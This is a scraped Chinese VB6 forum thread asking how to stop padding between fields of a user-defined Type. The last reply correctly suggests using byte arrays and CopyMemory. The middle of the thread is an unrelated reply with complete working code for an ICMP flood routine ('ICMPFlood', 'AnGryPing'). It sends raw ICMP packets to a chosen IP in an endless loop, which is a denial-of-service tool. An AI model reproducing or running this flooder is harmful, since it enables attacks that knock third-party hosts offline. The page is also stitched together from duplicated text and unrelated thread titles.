Public Type PCM_Main_Simple
bBattery As Byte
mTime(1) As Byte
sngTestResult As Single
bAlarm As Byte
arrReserve(4) As Byte
End Type怎么试结构连续存放?谢谢
bBattery As Byte
mTime(1) As Byte
sngTestResult As Single
bAlarm As Byte
arrReserve(4) As Byte
End Type怎么试结构连续存放?谢谢
解决方案 »
- vb怎么搜索注册表下某项的值
- 我想用一个给合框实现渐进式查询,如何实现呀?大家给点思路吧!
- activebar 2.0 sp3 控件使用方法!在线等待!
- 怎么提取指定文件的图标?
- 请问:如何将SQL数据库中的一条纪录的各个字段值导入到一个数组中!
- 急!急!急!急!急!急!急!急!急!
- 如何通过TEXT输入复制表名称??请高手赐教
- 想自己编写个视频转换工具,哪可以找到这方面资料?(100分)
- vb使用ado控件连接access数据库使用mschart控件制作各类统计图,急!解决就给分
- sqlserveR 过程
- 请问ADODB与ADODC两者有何区别,有何优缺点?如何使用?请赐教
- 在线等:mschart话的曲线怎么总是在中间,怎么让曲线靠左,从左边向右延伸
Private Type udtFileOperation
Tag As Long ' 消息有效性标记
Command As Long ' 命令码
Filename(260) As Byte ' 文件名
FileSizeLow As Long ' 文件大小(低字节)
FileSizeHigh As Long ' 文件大小(高字节)
End Type
在Filename和FileSizeLow之间,由于VB自动按4字节对齐,它们之间会被插入几个字节的内容,
导致它们在内存中不是连续存放的,这在向VC等其他工具开发的软件传递数据时造成了一些麻烦。
如何解决这样的问题?VB能像C++的#pragma pack(1)那样修改字节对齐方式吗?
使用 CopyMemory,或 MoveMemory 函数则出现数据错位?请问使用 GlobalAlloc 时 ,怎么将 接收的数据拷贝给 VB的结构?
怎么在 GlobalAlloc分配的内存中 声明变量?
看你的情况给你一个Flooder的例子,不知对你有否帮助
Private Const AF_INET = 2
Private Const IPPROTO_ICMP = 1
Private Const IPPROTO_RAW = 255
Private Const SOCK_RAW = 3
''常量Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription As String * 256
szSystemStatus As String * 128
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End TypePrivate Type sockaddr
sin_family As Integer
sin_port As Integer
sin_addr As Long
sin_zero(0 To 7) As Byte
End TypePrivate Type ICMPHeader
i_type As Byte
i_code As Byte
i_cksum As Integer
i_id As Integer
i_seq As Integer
timestamp As Long
End Type
''结构Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVR As Long, lpWSAD As WSADATA) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Function sendto Lib "wsock32.dll" (ByVal socket As Long, ByVal packet As Long, ByVal packetLen As Long, ByVal flags As Long, ByVal to_addr As Long, ByVal tolen As Long) As Long
Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Integer) As Integer
Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Long
Private Declare Function inet_addr Lib "wsock32.dll" (ByVal cp As String) As Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
''API声明Sub ICMPFlood(Desc As String, iType As Integer, iCode As Integer, IcmpLen As Long) ''把Flood封装成一个过程
Dim Sock As Long
Dim remoteIP As sockaddr
Dim addrAddr As Long, addrLen As Long
Dim retCode As Long
Dim icmp_header As ICMPHeaderDim Wsad As WSADATAIf WSAStartup(&H101, Wsad) <> 0 Then ''一开始要启动WinSock
MsgBox "无法启动WinSock!", vbCritical
Exit Sub
End IfSock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) ''创建一个原始ICMP报文的套接字If Sock = -1 Then MsgBox "错误:无法建立套接字!", vbCritical, "AnGryPing by H.B.U": Exit SubaddrAddr = VarPtr(remoteIP) ''取sockaddr的指针
addrLen = LenB(remoteIP) ''按字节的长度来获取remoteIP.sin_family = AF_INET ''Sock类型
remoteIP.sin_port = 0 ''端口,ICMP不需要
remoteIP.sin_addr = inet_addr(Desc) ''目标IPicmp_header.i_type = iType
icmp_header.i_code = iCode
icmp_header.i_cksum = 0
icmp_header.i_id = 2
icmp_header.timestamp = GetTickCount
icmp_header.i_seq = 999
''这里填充ICMP头部While retCode <> -1 ''循环发送
retCode = sendto(Sock, VarPtr(icmp_header), IcmpLen, 0, addrAddr, addrLen)
''注意看,我声明的sendto不是一般的结构,最后两个参数没有用sockaddr_in而是Long,这是为了VarPtr
DoEvents ''稍微延时免得程序死掉
Wendclosesocket (Sock)
WSACleanup
End Sub
Private Type udtFileOperation
Tag(3) As Byte ' 消息有效性标记
Command(3) As Byte ' 命令码
Filename(260) As Byte ' 文件名
FileSizeLow(3) As Byte ' 文件大小(低字节)
FileSizeHigh(3) As Byte ' 文件大小(高字节)
End Type你用的时候
dim tempuFO as udtFileOperation
dim temp as Long
CopyMemory Byval varPtr(temp),a.FileSizeLow(0),4这个时候,temp的值就是你FileSizeLow的值了
当保证所有类型都为Byte的时候,就不存在四字节的问题了,
需要得到相应值的时候,对准数组首地址进行copymemory就行了